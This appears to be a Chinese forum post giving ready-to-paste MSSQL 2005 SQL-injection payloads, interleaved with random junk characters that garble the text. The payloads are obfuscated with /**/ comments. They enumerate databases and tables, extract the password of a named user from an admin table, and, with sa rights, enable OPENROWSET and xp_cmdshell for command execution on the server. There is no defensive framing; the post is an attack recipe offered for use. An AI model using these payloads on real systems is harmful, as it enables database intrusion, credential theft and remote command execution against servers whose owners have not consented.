; F( q4 W1 ^4 v3 H4 _; @, _4 J( _' j, P
4 [6 m6 v% N8 E: G; s! w! _! J[Copy to clipboard]CODE:" H) ` c$ S& g7 d
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--/ ?: j7 P* H( g
" e- X; C4 E5 Z. A
爆表语句,somedb部份是所要列的数据库,红色数字1累加
^# O& w Q0 a" b1 f7 Q/ J. L. {+ D, h1 s
# P8 y* L& g% g5 ]4 @
[Copy to clipboard]CODE:3 {) b! e5 J, r: E6 e
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--7 p& }# X; z c: @/ Q
- Z( ?1 a) b) {, w8 r: Q1 n
爆字段语句,爆表admin里user='icerover'的密码段6 t3 f9 n6 D( I) f' r/ ?1 E7 Z
3 M. Z4 p; n3 b& b# z6 q6 \; u
* {5 `" T1 k+ Y0 H* u6 Q
[Copy to clipboard]CODE:
" T, ~: X7 i% ^* r3 F+ W; {**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--# E' @) r8 N2 o7 S3 ~' f2 b* [$ n
4 d! O M$ A3 i9 G0 K2 `: a
mssql2005默认没有开xp_cmdshell的,openrowset也不能用
: G5 r% ~2 _7 ?0 k6 L: S" R如果是sa权限,可以这样来开启2 E8 ~" v. b8 K7 s2 b; v
开启openrowset$ W/ n6 z# V$ m* h2 r! D
/ |8 j |3 d" m+ W
* Y5 @3 D6 U: y2 v+ X7 B[Copy to clipboard]CODE:* V: g- }% y1 M1 o
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--# [" W8 ?) l% s8 i6 E* W
/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--6 {$ O" q1 g1 z7 W2 F- r% s4 [
/ g* q$ b" E3 a" C* k开启xp_cmdshell
: B* C! q5 X. q
/ H* P# {9 c/ C& q$ x; I6 B7 q6 B# F' ?9 D! ]; E
[Copy to clipboard]CODE:* ^5 j. Q( ]5 ]6 _% p3 G
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
9 e# |, ~# r; I" g2 I9 t+ ~EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--* P- M* a, R' F; j; _" i( d
; C4 i; Q6 s% \% uok,over~~晚安
% P, v# h+ X5 P W |